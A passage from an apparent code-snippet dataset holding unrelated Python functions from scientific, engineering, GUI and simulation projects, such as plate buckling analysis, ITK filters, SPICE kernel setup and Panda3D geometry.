(isclose(y, 0) | isclose(y, b))\n bk[0::DOF] = check\n check = isclose(y, b/2) & (isclose(x, 0) | isclose(x, a))\n bk[1::DOF] = check\n\n # unconstrained nodes\n bu = ~bk # logical_not\n\n # defining external force vector\n fext = np.zeros(KC0.shape[0], dtype=float)\n\n # applying unitary load along u at x=a\n # nodes at vertices get 1/2 the force\n for plate in plates:\n pos1 = nid_pos[plate.n1]\n pos2 = nid_pos[plate.n2]\n pos3 = nid_pos[plate.n3]\n pos4 = nid_pos[plate.n4]\n if isclose(x[pos3], a):\n Nxx = -1\n xi = +1\n elif isclose(x[pos1], 0):\n Nxx = +1\n xi = -1\n else:\n continue\n lex = plate.lex\n ley = plate.ley\n indices = []\n c1 = DOF*pos1\n c2 = DOF*pos2\n c3 = DOF*pos3\n c4 = DOF*pos4\n cs = [c1, c2, c3, c4]\n for ci in cs:\n for i in range(DOF):\n indices.append(ci + i)\n fe = np.zeros(4*DOF, dtype=float)\n for j in range(nint):\n eta = points[j]\n plate.update_Nu(xi, eta)\n Nu = np.asarray(plate.Nu)\n fe += ley/2*weights[j]*Nu*Nxx\n fext[indices] += fe\n\n Kuu = KC0[bu, :][:, bu]\n fextu = fext[bu]\n\n # static solver\n uu = spsolve(Kuu, fextu)\n u = np.zeros(KC0.shape[0], dtype=float)\n u[bu] = uu\n\n if plot_static:\n import matplotlib\n matplotlib.use('TkAgg')\n import matplotlib.pyplot as plt\n plt.gca().set_aspect('equal')\n uplot = u[0::DOF].reshape(nx, ny).T\n vplot = u[1::DOF].reshape(nx, ny).T\n print('u extremes', uplot.min(), uplot.max())\n print('v extremes', vplot.min(), vplot.max())\n levels = np.linspace(uplot.min(), uplot.max(), 300)\n plt.contourf(xmesh, ymesh, uplot, levels=levels)\n plt.colorbar()\n plt.show()\n\n # eigenvalue solver\n\n # getting integration points\n for plate in plates:\n update_KG(u, plate, points, weights, KGr, KGc, KGv)\n KG = coo_matrix((KGv, (KGr, KGc)), shape=(N, N)).tocsc()\n KGuu = KG[bu, :][:, bu]\n\n # solving modified generalized eigenvalue problem\n # Original: (KC0 + lambda*KG)*v = 0\n # Modified: (-1/lambda)*KC0*v = KG*v #NOTE here we find (-1/lambda)\n num_eigenvalues = 5\n eigvals, eigvecsu = eigsh(A=KGuu, k=num_eigenvalues, which='SM', M=Kuu,\n tol=1e-6, sigma=1., mode='cayley')\n eigvals = -1./eigvals\n eigvecs = np.zeros((KC0.shape[0], num_eigenvalues), dtype=float)\n eigvecs[bu, :] = eigvecsu\n\n if plot_lb:\n import matplotlib\n matplotlib.use('TkAgg')\n import matplotlib.pyplot as plt\n plt.gca().set_aspect('equal')\n mode = 0\n wplot = eigvecs[2::DOF, mode].reshape(nx, ny).T\n levels = np.linspace(wplot.min(), wplot.max(), 300)\n plt.contourf(xmesh, ymesh, wplot, levels=levels)\n plt.colorbar()\n plt.show()\n\n kc = eigvals[0]/(E*np.pi**2*(h/b)**2/(12*(1 - nu**2))*h)\n assert isclose(kc, 6.6, rtol=0.05)","def New(*args, **kargs):\n obj = itkScalarConnectedComponentImageFilterIUL3IUL3.__New_orig__()\n import itkTemplate\n itkTemplate.New(obj, *args, **kargs)\n return obj","def create_network_block(\n self,\n object_name,\n power,\n rjc,\n rjb,\n gravity_dir,\n top,\n assign_material=True,\n default_material=\"Ceramic_material\",\n use_object_for_name=True,\n ):\n if object_name in self.modeler.primitives.object_names:\n faces = self.modeler.primitives.get_object_faces(object_name)\n k = 0\n faceCenter = {}\n for f in faces:\n faceCenter[f] = self.modeler.oeditor.GetFaceCenter(int(f))\n faceCenter[f] = [round(float(i), 1) for i in faceCenter[f]]\n k = k + 1\n fcmax = -1e9\n fcmin = 1e9\n fcrjc = None\n fcrjb = None\n for fc in faceCenter:\n fc1 = faceCenter[fc]\n if fc1[gravity_dir] < fcmin:\n fcmin = fc1[gravity_dir]\n fcrjc = int(fc)\n if fc1[gravity_dir] > fcmax:\n fcmax = fc1[gravity_dir]\n fcrjb = int(fc)\n if fcmax < float(top):\n app = fcrjc\n fcrjc = fcrjb\n fcrjb = app\n if assign_material:\n self.modeler.primitives[object_name].material_name = default_material\n props = {}\n if use_object_for_name:\n boundary_name = object_name\n else:\n boundary_name = generate_unique_name(\"Block\")\n props[\"Faces\"] = [fcrjc, fcrjb]\n props[\"Nodes\"] = OrderedDict(\n {\n \"Face\" + str(fcrjc): [fcrjc, \"NoResistance\"],\n \"Face\" + str(fcrjb): [fcrjb, \"NoResistance\"],\n \"Internal\": [power],\n }\n )\n props[\"Links\"] = OrderedDict(\n {\n \"Link1\": [\"Face\" + str(fcrjc), \"Internal\", \"R\", str(rjc) + \"cel_per_w\"],\n \"Link2\": [\"Face\" + str(fcrjb), \"Internal\", \"R\", str(rjb) + \"cel_per_w\"],\n }\n )\n props[\"SchematicData\"] = OrderedDict({})\n bound = BoundaryObject(self, boundary_name, props, \"Network\")\n if bound.create():\n self.boundaries.append(bound)\n self.modeler.primitives[object_name].solve_inside = False\n return bound\n return None","def _create_3D_pane(self):\n\t\t\n panel = wx.Panel(self,-1)\n self.interactor3d = wxVTKRenderWindowInteractor(panel, -1, (600,800))\n self.generate_button = wx.Button(panel, label=\"Generate 3D view\")\n self.text_position = wx.StaticText(panel, -1, \"Dose (Gy) \" , wx.Point(0, 0))\n self.slider_dose3d = wx.Slider(panel, -1, 75, 60, 100, wx.DefaultPosition, wx.Size( 100,-1 ), wx.SL_HORIZONTAL)\n self.spin_dose3d = wx.SpinCtrl(panel, wx.ID_ANY, str(self.slider_dose3d.GetValue()), wx.DefaultPosition, wx.Size( 70,-1 ), wx.SP_ARROW_KEYS, min=0, max=100, initial=11)\t\n\t\t\n button_sizer = wx.BoxSizer(wx.HORIZONTAL)\n button_sizer.AddSpacer(30)\n button_sizer.Add(self.generate_button)\n button_sizer.AddSpacer(30)\n button_sizer.Add(self.text_position)\n button_sizer.Add(self.slider_dose3d)\n button_sizer.Add(self.spin_dose3d)\n\t\t\n listsizer = wx.BoxSizer(wx.VERTICAL)\n listsizer.Add(self.interactor3d, 1, wx.EXPAND|wx.BOTTOM, 7)\n listsizer.Add(button_sizer)\n panel.SetSizer(listsizer)\n listsizer.Fit(panel)\n\t\t\n self._create_orientation_widget(self.interactor3d)\n return panel","def New(*args, **kargs):\n obj = itkCosImageFilterIF3IF3.__New_orig__()\n import itkTemplate\n itkTemplate.New(obj, *args, **kargs)\n return obj","def New(*args, **kargs):\n obj = itkLabelShapeOpeningImageFilterIUL3.__New_orig__()\n import itkTemplate\n itkTemplate.New(obj, *args, **kargs)\n return obj","def createckfk(self, observer, dbname, t0, field1, nfields, mk): \n\n observerint=self.mpc2internal(observer)\n instrumentint=observerint*1000\n\n with open(\"cksetupfile\", \"w\") as f:\n f.write(\"KPL/IK \\nComments describing the keywords and values \\nto follow, as well as any other pertinent \\ninformation.\\n\\\\begindata\\n\")\n f.write(\"LSK_FILE_NAME = '%s'\\n\" %(mk))\n f.write(\"\\n\")\n f.write(\"INTERNAL_FILE_NAME = 'Survey Sim Camera Orientation'\\n\")\n f.write(\"\\n\")\n f.write(\"MAKE_FAKE_SCLK = 'tmpsclk'\\n\")\n f.write(\"CK_TYPE = 3\\n\")\n f.write(\"CK_SEGMENT_ID = 'Instrument Orientation'\\n\")\n f.write(\"INSTRUMENT_ID = %i \\n\" %(instrumentint))\n f.write(\"REFERENCE_FRAME_NAME = 'J2000'\\n\")\n f.write(\"ANGULAR_RATE_PRESENT = 'NO'\\n\")\n f.write(\"\\n\")\n f.write(\"INPUT_DATA_TYPE = 'SPICE QUATERNIONS'\\n\")\n f.write(\"INPUT_TIME_TYPE = 'UTC'\\n\")\n f.write(\"MAXIMUM_VALID_INTERVAL = 60\\n\") \n f.write(\"\\n\")\n f.write(\"PRODUCER_ID = 'Survey Sim, JPL'\\n\")\n f.write(\"\\\\begintext\")\n f.close()\n\n\n self.readfields(dbname,field1,nfields, t0)\n with open(\"ckip\",\"w\") as f:\n\n for i in range(len(self.fieldRA)):\n quat=self.computerotmat(self.fieldRA[i], self.fieldDec[i], self.rotSkyPos[i])\n\n #This helps with duplicate entries. For example enigma_1189 can have same fieldID's under different propID's\n #Issue warning for duplicate time. Have a verbose mode for displaying that (true as default)\n if (self.fieldMJD[i] !=self.fieldMJD[i-1]):\n JD=self.fieldMJD[i]+shared.mjd2jd\n timestring= 'JD'+repr(JD)\n f.write(\"%s %f %f %f %f\\n\" %(timestring,quat[0],quat[1],quat[2],quat[3]))\n f.close()\n try:\n os.system('rm tmp.ck tmpsclk test.ck fakesclk >/dev/null')\n except:\n pass\n os.system('msopck cksetupfile ckip tmp.ck > /dev/null')\n\n os.system('rsync tmpsclk fakesclk > /dev/null')\n os.system('rsync tmp.ck test.ck > /dev/null')\n\n with open(\"tmp.fk\",\"w\") as f:\n f.write(\"\\\\begindata\\n\\n\")\n f.write(\"FRAME_CAMERA_FRAME = %i\\n\" %(instrumentint))\n f.write(\"FRAME_%i_NAME = 'CAMERA_FRAME'\\n\" %(instrumentint))\n f.write(\"FRAME_%i_CLASS = 3\\n\" %(instrumentint))\n f.write(\"FRAME_%i_CLASS_ID = %i\\n\" %(instrumentint, instrumentint))\n f.write(\"FRAME_%i_CENTER = %i\\n\" %(instrumentint, observerint))\n f.write(\"CK_%i_SCLK = %i\\n\" %(instrumentint, observerint))\n f.write(\"CK_%i_SPK = %i\\n\\n\" %(instrumentint, observerint))\n f.write(\"\\\\begintext\\n\")\n f.close()\n \n os.system('rsync tmp.fk test.fk')","def create(cls, name, defn, state=None):\n prog = cls(name, False)\n prog.raw_data = defn\n prog.state = state or {}\n prog.mk_data()\n\n return prog","def create_ptx(self):\n\n self.lower_pmos_inst=self.add_inst(name=\"lower_pmos\",\n mod=self.pmos)\n self.connect_inst([\"bl\", \"en\", \"br\", \"vdd\"])\n\n self.upper_pmos1_inst=self.add_inst(name=\"upper_pmos1\",\n mod=self.pmos)\n self.connect_inst([\"bl\", \"en\", \"vdd\", \"vdd\"])\n\n self.upper_pmos2_inst=self.add_inst(name=\"upper_pmos2\",\n mod=self.pmos)\n self.connect_inst([\"br\", \"en\", \"vdd\", \"vdd\"])","def New(*args, **kargs):\n obj = itkMeshSourcePSF3.__New_orig__()\n import itkTemplate\n itkTemplate.New(obj, *args, **kargs)\n return obj","def car_template(ncomp, ra0, ra1, dec0, dec1, res):\n\n if ncomp == 3:\n pre = (3,)\n else:\n pre = ()\n\n box = get_box(ra0, ra1, dec0, dec1)\n res = res * np.pi / (180 * 60)\n temp = so_map()\n shape, wcs = enmap.geometry(box, res=res, pre=pre)\n temp.data = enmap.zeros(shape, wcs=wcs, dtype=None)\n temp.pixel = \"CAR\"\n temp.nside = None\n temp.ncomp = ncomp\n temp.geometry = temp.data.geometry[1:]\n temp.coordinate = \"equ\"\n return temp","def create(self):\n self.parent.copyCurrentWinState(self.pltw)\n # add a new vector\n vname = self.pltw.curvelist[self.cpos].name + 'BL'\n (nvec, npt) = np.shape(self.pltw.blklst[self.blkno])\n if self.pltw.pasteVector(self.data[2], self.blkno, vname):\n xname = self.pltw.getVnam(self.blkno, self.xpos)\n xvinfo = vectInfo(self.blkno, self.xpos, xname)\n yvinfo = vectInfo(self.blkno, nvec, vname)\n self.pltw.curvelist.append(curveInfo(vname, xvinfo, yvinfo))\n self.pltw.updatePlot()\n self.pltw.dirty = True\n self.pltw.activecurv = self.cpos\n self.parent.updateUI()\n self.hide()","def initcomponentform():\n form = ComponentsForm()\n form.name.value = []\n form.id.value = []\n form.currentstock.value = []\n form.reorderlevel.value = []\n form.unitprice.value = []\n form.supplier.value = []\n form.location.value = []\n form.datasheet.value = []\n return form","def qck_gen_proj(self, master):\r\n if not self._check_project_name():\r\n return\r\n\r\n # Clear out driver list and board\r\n self.newProj.board = ()\r\n self.newProj.drvList = []\r\n\r\n # Configure ksdkProj given GUI state\r\n self.localSDK.get_version()\r\n self.newProj.name = self.widgetList[4].get()\r\n self.newProj.setKsdkPath(self.localSDK.path)\r\n self.newProj.sdkVer = self.localSDK.version\r\n self.newProj.useBSP = not self.localSDK.isNewVersion()\r\n\r\n # Add the board\r\n try:\r\n userBoard = int(self.widgetList[6].curselection()[0]) + 1\r\n self.newProj.add_board(userBoard, self.localSDK.brdList)\r\n except IndexError:\r\n tkMessageBox.showinfo(\"No board selected!\",\\\r\n \"Make sure a board has been selected.\")\r\n return\r\n\r\n self.widgetList[10].step(30)\r\n self.widgetList[10].update_idletasks()\r\n\r\n # Quick check to see if this poject already exists\r\n checkPath = self.newProj.sdkPath + '/' + self.newProj.parent.getDirectoryStructureHelper().getUserLinkedExamplesPath(self.newProj.board[1]) + '/' + self.newProj.name\r\n if os.path.isdir(checkPath):\r\n tkMessageBox.showinfo(\"Project exists\",\\\r\n \"A project by this name already exists.\")\r\n return\r\n\r\n # in quick mode there is always generated the board project\r\n self.newProj.isBoardProject = True\r\n \r\n # Add all drivers for this device\r\n self.localSDK.get_drivers()\r\n maskRet = kT.mask_features(kTool.KsdkTools(), self.newProj.sdkPath, self.newProj.sdkVer, \\\r\n self.localSDK.drvList, self.newProj.device[1], self.newProj.device[2])\r\n self.newProj.portCount = maskRet[0]\r\n self.newProj.dmaCount = maskRet[1]\r\n self.newProj.tsiVersion = maskRet[2]\r\n self.newProj.add_all_drv(self.localSDK.drvList)\r\n\r\n kT.debug_log('Port Count: ' + str(self.newProj.portCount))\r\n\r\n #Generate IAR project files\r\n #self.newProj.fast_build_IAR()\r\n self.newProj.workSpace = self.newProj.sdkPath + '/' + self.newProj.parent.getDirectoryStructureHelper().getUserLinkedExamplesPath(self.newProj.board[1]) + '/'\r\n projectPath = self.newProj.workSpace + self.newProj.name\r\n\r\n #Get all include paths lists into one list\r\n includeList = []\r\n index = 0\r\n isPresent = False\r\n while index < len(self.newProj.drvList):\r\n count = 0\r\n while count < len(self.newProj.drvList[index][2]):\r\n isPresent = False\r\n newPath = str(\\\r\n self.newProj.drvList[index][2][count]\\\r\n )\r\n if len(includeList) > 0:\r\n listIndex = 0\r\n while listIndex < len(includeList):\r\n if newPath == includeList[int(listIndex) - 1]:\r\n isPresent = True\r\n listIndex += 1\r\n if not isPresent:\r\n includeList.append(newPath)\r\n count += 1\r\n index += 1\r\n\r\n self.newProj.libList.append('platform')\r\n if not os.path.isdir(projectPath):\r\n os.makedirs(projectPath)\r\n self.newProj.rtos = 'bm'\r\n\r\n if not os.path.isfile(projectPath + '/main.c'):\r\n self.newProj.make_main_file(projectPath, includeList)\r\n if not os.path.isfile(projectPath + '/hardware_init.c'):\r\n self.newProj.make_hw_file(projectPath)\r\n\r\n self.widgetList[10].step(30)\r\n self.widgetList[10].update_idletasks()\r\n\r\n ## Copy over BSP files\r\n if self.newProj.useBSP:\r\n if not os.path.isdir(projectPath + '/board'):\r\n os.mkdir(projectPath + '/board')\r\n bspDir = self.newProj.sdkPath + '/examples/' + self.newProj.board[1]\r\n bspList = kT.list_files(bspDir)\r\n for f in bspList:\r\n if f[-2:] == '.c':\r\n shutil.copyfile(bspDir + '/' + f, projectPath + '/board/' + f)\r\n if f[-2:] == '.h':\r\n shutil.copyfile(bspDir + '/' + f, projectPath + '/board/' + f)\r\n\r\n if self.localSDK.isToolchainTypeSupported(kSdk.ToolchainType.IARname, self.newProj.device):\r\n print self.newProj.isLinked\r\n if self.localSDK.isNewVersion():\r\n newIar = kIarNew.KsdkIarNew(self.newProj)\r\n else:\r\n newIar = kIar.KsdkIar(self.newProj)\r\n newIar.gen_ewp(self.newProj)\r\n newIar.gen_eww(self.newProj)\r\n\r\n if self.localSDK.isToolchainTypeSupported(kSdk.ToolchainType.KeilMDK, self.newProj.device):\r\n #Generate MDK project files\r\n if self.localSDK.isNewVersion():\r\n newMdk = kMdkNew.KsdkMdkNew(self.newProj)\r\n else:\r\n newMdk = kMdk.KsdkMdk(self.newProj)\r\n newMdk.gen_proj(self.newProj)\r\n newMdk.gen_wkspace(self.newProj)\r\n\r\n if self.localSDK.isToolchainTypeSupported(kSdk.ToolchainType.KinetisDesignStudio, self.newProj.device):\r\n #Generate KDS project fiels\r\n print self.newProj.isLinked\r\n if self.localSDK.isNewVersion():\r\n newKds = kKdsNew.KsdkKdsNew(self.newProj)\r\n else:\r\n newKds = kKds.KsdkKds(self.newProj)\r\n\r\n newKds.gen_cproject(self.newProj)\r\n newKds.gen_project(self.newProj)\r\n newKds.gen_working_set(self.newProj)\r\n newKds.gen_debug(self.newProj)\r\n\r\n if self.localSDK.isToolchainTypeSupported(kSdk.ToolchainType.AtollicStudio, self.newProj.device):\r\n #Generate ATL project files\r\n if self.localSDK.isNewVersion():\r\n newAtl = kAtlNew.KsdkAtlNew(self.newProj)\r\n else:\r\n newAtl = kAtl.KsdkAtl(self.newProj)\r\n newAtl.gen_cproject(self.newProj)\r\n newAtl.gen_project(self.newProj)\r\n newAtl.gen_debug(self.newProj)\r\n newAtl.gen_settings(self.newProj)\r\n\r\n if self.localSDK.isToolchainTypeSupported(kSdk.ToolchainType.ARMgcc):\r\n #Generate GCC project files\r\n if not self.newProj.fast_build_GCC():\r\n tkMessageBox.showinfo(\"Missing CMake Files\",\\\r\n \"CMake files are missing from your KSDK installation.\")\r\n\r\n #Text for window\r\n genString = 'Your project was created in the following location:\\n'\r\n pathString = ''\r\n pathString += self.newProj.sdkPath + '/' + self.newProj.parent.getDirectoryStructureHelper().getUserLinkedExamplesPath( self.newProj.board[1]) + '/' + self.newProj.name + '/'\r\n genString += pathString\r\n genString += '\\nPress the button below to open project location folder.'\r\n\r\n #Create window to show USER that project has been generated and where it is.\r\n popGen = Toplevel()\r\n if self.newProj.osType == 'Windows':\r\n winH = 100 * WIN_SCALE\r\n winW = 600 * WIN_SCALE\r\n elif self.newProj.osType == 'Darwin':\r\n if platform.mac_ver()[0][:5] == '10.10':\r\n winH = 100\r\n winW = 600\r\n elif platform.mac_ver()[0][:5] == '10.11':\r\n winH = 100\r\n winW = 660\r\n else:\r\n winH = 100\r\n winW = 600\r\n popGen.config(height=winH, width=winW)\r\n popGen.grid()\r\n if self.newProj.osType == 'Linux':\r\n img = Image(\"photo\", data=kImg.boardImages['kds_icon.gif']) # Use the .gif in Linux\r\n popGen.tk.call('wm', 'iconphoto', popGen._w, img)\r\n popGen.title(\"Project created\")\r\n popGen.geometry('%dx%d+%d+%d' % (winW, winH, master.winfo_x() + 20, master.winfo_y() + 20))\r\n popGen.resizable(width=FALSE, height=FALSE)\r\n popGen.configure(background='#E7E7E7')\r\n\r\n genTxt = Label(popGen, text=genString, justify=LEFT)\r\n genTxt.grid(row=0, column=0, columnspan=2, padx=5, pady=5)\r\n\r\n #Create button to open project folder\r\n ## IF we are in windows, we need to replace all '/' with '\\\\'\r\n tempString = pathString[:]\r\n if self.newProj.osType == 'Windows':\r\n pathString = ''\r\n pathString = kT.string_replace(tempString, '/', '\\\\')\r\n\r\n genButton = Button(popGen, text='Open Project Folder', command=lambda: self.view_project(pathString, popGen))\r\n genButton.grid(row=2, column=0, sticky=W, padx=5, pady=5)\r\n\r\n self.widgetList[10].step(35)\r\n self.widgetList[10].update_idletasks()\r\n\r\n # patch to implement automation test\r\n self.pop_gen = popGen\r\n\r\n return","def generaCubo(self):\r\n #Use Panda predefined format for vertex coordinate only\r\n format = GeomVertexFormat.getV3()\r\n \r\n #Build Vertex data using the created format. Vertex will never change so I use Static attribute \r\n vdata = GeomVertexData('CuboData', format, Geom.UHStatic)\r\n \r\n #I will have to write vertex data so I create a writer for these data\r\n vertex = GeomVertexWriter(vdata, 'vertex')\r\n \r\n #I now use the writer to add vertex data\r\n vertex.addData3f(0, 0, 0)\r\n vertex.addData3f(1, 1, 1)\r\n vertex.addData3f(0, 1, 1)\r\n vertex.addData3f(0, 1, 0)\r\n vertex.addData3f(0, 0, 1)\r\n vertex.addData3f(1, 0, 0)\r\n vertex.addData3f(1, 0, 1)\r\n vertex.addData3f(1, 1, 0)\r\n \r\n #I now create 12 triangles\r\n prim = GeomTriangles(Geom.UHStatic)\r\n\r\n #and then I add vertex to them\r\n #Next time use addVertices(0,1,2) !!!\r\n prim.addVertex(7)\r\n prim.addVertex(0)\r\n prim.addVertex(5)\r\n prim.closePrimitive()\r\n \r\n prim.addVertex(3)\r\n prim.addVertex(0)\r\n prim.addVertex(7)\r\n prim.closePrimitive()\r\n \r\n prim.addVertex(2)\r\n prim.addVertex(6)\r\n prim.addVertex(4)\r\n prim.closePrimitive()\r\n\r\n prim.addVertex(1)\r\n prim.addVertex(6)\r\n prim.addVertex(2)\r\n prim.closePrimitive()\r\n\r\n prim.addVertex(7)\r\n prim.addVertex(2)\r\n prim.addVertex(3)\r\n prim.closePrimitive()\r\n\r\n prim.addVertex(1)\r\n prim.addVertex(2)\r\n prim.addVertex(7)\r\n prim.closePrimitive()\r\n\r\n prim.addVertex(3)\r\n prim.addVertex(4)\r\n prim.addVertex(0)\r\n prim.closePrimitive()\r\n\r\n prim.addVertex(2)\r\n prim.addVertex(4)\r\n prim.addVertex(3)\r\n prim.closePrimitive()\r\n\r\n prim.addVertex(0)\r\n prim.addVertex(6)\r\n prim.addVertex(5)\r\n prim.closePrimitive()\r\n\r\n prim.addVertex(4)\r\n prim.addVertex(6)\r\n prim.addVertex(0)\r\n prim.closePrimitive()\r\n\r\n prim.addVertex(5)\r\n prim.addVertex(1)\r\n prim.addVertex(7)\r\n prim.closePrimitive()\r\n\r\n prim.addVertex(6)\r\n prim.addVertex(1)\r\n prim.addVertex(5)\r\n prim.closePrimitive()\r\n\r\n #Create a Geom to bing vertex data to primitives\r\n geom = Geom(vdata)\r\n geom.addPrimitive(prim)\r\n\r\n #Create a node for the Geom in order to be able to render it\r\n node = GeomNode('gnode')\r\n node.addGeom(geom)\r\n\r\n #Adde the node to the scene graph == render it!\r\n nodePath = render.attachNewNode(node)\r\n \r\n #is this needed?\r\n nodePath.setPos( 0, 5, 0)\r\n \r\n self.camera.lookAt(nodePath)\r\n \r\n base.setBackgroundColor( .0, .0, .0 )\r\n \r\n taskMgr.add(self.SpinCameraTask, \"SpinCameraTask\")","def create_contract(symbol, sec_type, exch, prim_exch, curr):\n contract = Contract()\n contract.m_symbol = symbol\n contract.m_secType = sec_type\n contract.m_exchange = exch\n contract.m_primaryExch = prim_exch\n contract.m_currency = curr\n return contract","def create_contract(symbol, sec_type, exch, prim_exch, curr):\n contract = Contract()\n contract.m_symbol = symbol\n contract.m_secType = sec_type\n contract.m_exchange = exch\n contract.m_primaryExch = prim_exch\n contract.m_currency = curr\n return contract","def create(self):\n self.parser.add_argument('lp_file',\n help=\"Language pack file.\")\n args = self.parser.parse_args()\n with open(args.lp_file) as lang_pack_file:\n try:\n data = json.load(lang_pack_file)\n except ValueError as exc:\n print(\"Error in language pack file: %s\", str(exc))\n sys.exit(1)\n\n json_data = json.dumps(data)\n languagepack = self.client.languagepacks.create(json_data)\n fields = ['uuid', 'name', 'description', 'compiler_versions',\n 'os_platform']\n data = dict([(f, getattr(languagepack, f, ''))\n for f in fields])\n cliutils.print_dict(data, wrap=72)","def __init__(self, calc_id, particle_name, xp_partition):\n tdc_FMCI_XP_Data_Base.__init__(self)\n # name and calc_id\n self.name = particle_name\n self.calc_id = calc_id\n # setup XP_Data --------------------\n sample_dict = dict(name='regular', n_reduce=1, n_min=1)\n self.xp = tdc_XP_Data(calc_id, particle_name, sample_dict, get_weight=True)\n # interface to timetable -----------\n self.timetable = self.xp.timetable\n # setup properties -----------------\n setup_props = tdc_Setup_Props(calc_id)\n # normalization parameters\n self.W0 = setup_props.get_papam('FMPProps/W0')\n self.L = setup_props.get_papam('/GridProps/L')\n # physical parameters from \"setup_properties.h5\"\n self.PSR_P = setup_props.get_papam('/PulsarGapProps/P')\n self.PSR_B12 = setup_props.get_papam('/PulsarGapProps/B_12')\n self.PSR_Lcm = setup_props.get_papam('/GridProps/L_cm')\n # physical parameters from \"cascade.input\": THETA and CHI\n infile=AT.FileInput()\n infile.ReadFile(tdc_Filenames.get_full_filename(calc_id, 'cascade.input'))\n infile.ChangeGroup('GEOMETRY')\n self.PSR_Theta = infile.get_param('THETA')\n infile.ChangeGroup() \n infile.ChangeGroup('DIMENSIONAL_CONSTANTS::PSR_ConstsInitializer')\n self.PSR_Chi = infile.get_param('CHI')\n infile.ChangeGroup() \n # set xp_partition =================\n self.set_xp_partition(xp_partition)","def to_swc(self, contributors=\"\"):\n from . import __version__\n sx, sy, sz = np.diag(self.transform)[:3]\n\n swc_header = f\"\"\"# ORIGINAL_SOURCE CloudVolume {__version__}\n# CREATURE \n# REGION\n# FIELD/LAYER\n# TYPE\n# CONTRIBUTOR {contributors}\n# REFERENCE\n# RAW \n# EXTRAS \n# SOMA_AREA\n# SHINKAGE_CORRECTION \n# VERSION_NUMBER {__version__}\n# VERSION_DATE {datetime.datetime.utcnow().isoformat()}\n# SCALE {sx:.6f} {sy:.6f} {sz:.6f}\n\"\"\"\n\n def generate_swc(skel, offset):\n if skel.edges.size == 0:\n return \"\"\n\n index = defaultdict(set)\n visited = defaultdict(bool)\n for e1, e2 in skel.edges:\n index[e1].add(e2)\n index[e2].add(e1)\n\n stack = [ skel.edges[0,0] ]\n parents = [ -1 ]\n\n swc = \"\"\n\n while stack:\n node = stack.pop()\n parent = parents.pop()\n\n if visited[node]:\n continue\n\n swc += \"{n} {T} {x:0.6f} {y:0.6f} {z:0.6f} {R:0.6f} {P}\\n\".format(\n n=(node + 1 + offset),\n T=skel.vertex_types[node],\n x=skel.vertices[node][0],\n y=skel.vertices[node][1],\n z=skel.vertices[node][2],\n R=skel.radii[node],\n P=parent if parent == -1 else (parent + 1 + offset),\n )\n\n visited[node] = True\n \n for child in index[node]:\n stack.append(child)\n parents.append(node)\n\n return swc\n\n skels = self.components()\n\n swc = swc_header + \"\\n\"\n offset = 0\n for skel in skels:\n swc += generate_swc(skel, offset) + \"\\n\"\n offset += skel.vertices.shape[0]\n\n return swc","def __init__(self, obj, solids):\n # Add an unique property to identify the Ship instances\n tooltip = str(QtGui.QApplication.translate(\n \"Ship\",\n \"True if it is a valid ship instance, False otherwise\",\n None,\n QtGui.QApplication.UnicodeUTF8))\n obj.addProperty(\"App::PropertyBool\",\n \"IsShip\",\n \"Ship\",\n tooltip).IsShip = True\n # Add the main dimensions\n tooltip = str(QtGui.QApplication.translate(\n \"Ship\",\n \"Ship length [m]\",\n None,\n QtGui.QApplication.UnicodeUTF8))\n obj.addProperty(\"App::PropertyLength\",\n \"Length\",\n \"Ship\",\n tooltip).Length = 0.0\n tooltip = str(QtGui.QApplication.translate(\n \"Ship\",\n \"Ship breadth [m]\",\n None,\n QtGui.QApplication.UnicodeUTF8))\n obj.addProperty(\"App::PropertyLength\",\n \"Breadth\",\n \"Ship\",\n tooltip).Breadth = 0.0\n tooltip = str(QtGui.QApplication.translate(\n \"Ship\",\n \"Ship draft [m]\",\n None,\n QtGui.QApplication.UnicodeUTF8))\n obj.addProperty(\"App::PropertyLength\",\n \"Draft\",\n \"Ship\",\n tooltip).Draft = 0.0\n # Add the subshapes\n obj.Shape = Part.makeCompound(solids)\n tooltip = str(QtGui.QApplication.translate(\n \"Ship\",\n \"Set of external faces of the ship hull\",\n None,\n QtGui.QApplication.UnicodeUTF8))\n obj.addProperty(\"Part::PropertyPartShape\",\n \"ExternalFaces\",\n \"Ship\",\n tooltip)\n tooltip = str(QtGui.QApplication.translate(\n \"Ship\",\n \"Set of weight instances\",\n None,\n QtGui.QApplication.UnicodeUTF8))\n obj.addProperty(\"App::PropertyStringList\",\n \"Weights\",\n \"Ship\",\n tooltip).Weights = []\n tooltip = str(QtGui.QApplication.translate(\n \"Ship\",\n \"Set of tank instances\",\n None,\n QtGui.QApplication.UnicodeUTF8))\n obj.addProperty(\"App::PropertyStringList\",\n \"Tanks\",\n \"Ship\",\n tooltip).Tanks = []\n\n obj.Proxy = self","def create_instance(c_instance):\n return AumPC40(c_instance)","def create(self, lbda=None, source=None, instrument_name=None,\n mjd=None, zp=None, bandname=None, zpsys=\"ab\",\n force_it=False, **meta):\n self._properties[\"lbda\"] = np.float(lbda) if lbda is not None else None\n self._side_properties[\"source\"] = source\n self._side_properties[\"instrument_name\"] = instrument_name\n self._side_properties[\"meta\"] = meta\n # -- Interactive ones\n self._side_properties[\"zpsys\"] = zpsys\n self.mjd = mjd\n self.zp = zp\n self.set_bandname(bandname)\n self._update_()","def setup(self, project_factory, snapshot_restore_factory, create_pvcs_and_pods):\n self.pvcs, self.pods = create_pvcs_and_pods(pvc_size=3, pods_for_rwx=1)","def __init__(self,inp='INP.mcnp'):\n # Material dictionary for the moderator, light guide, and detector\n self.material = {'Moderator':None,'Detector':None,'LightGuide':None}\n self.material['Detector'] = {'name':'Detector','mt': 3, 'rho': 1.1,'matString':None} # detector\n self.material['LightGuide'] = {'name': 'PMMA','mt':10, 'rho':0.93} # PMMA\n self.material['Moderator'] = {'name':'HDPE','mt':456, 'rho': 0.93} # HPDE\n \n # Cell and Surface Inital Numbering\n self.CellStartNum = 600\n self.SurfaceStartNum = 600\n self.ZeroSurfaceNum = 500\n self.UniverseNum = 200\n self.surfGeo = None\n self.inp = inp\n self.name = 'OUT_'+self.inp.strip('.mcnp')+'.'\n self.setMaterial(0.1,'PS')","def place_nwell_and_contact(self):\n # adds the contact from active to metal1\n well_contact_pos = self.upper_pmos1_inst.get_pin(\"D\").center().scale(1,0) \\\n + vector(0, self.upper_pmos1_inst.uy() + contact.well.height/2 + drc[\"well_extend_active\"])\n self.add_contact_center(layers=(\"active\", \"contact\", \"metal1\"),\n offset=well_contact_pos,\n implant_type=\"n\",\n well_type=\"n\")\n\n\n self.height = well_contact_pos.y + contact.well.height\n\n self.add_rect(layer=\"nwell\",\n offset=vector(0,0),\n width=self.width,\n 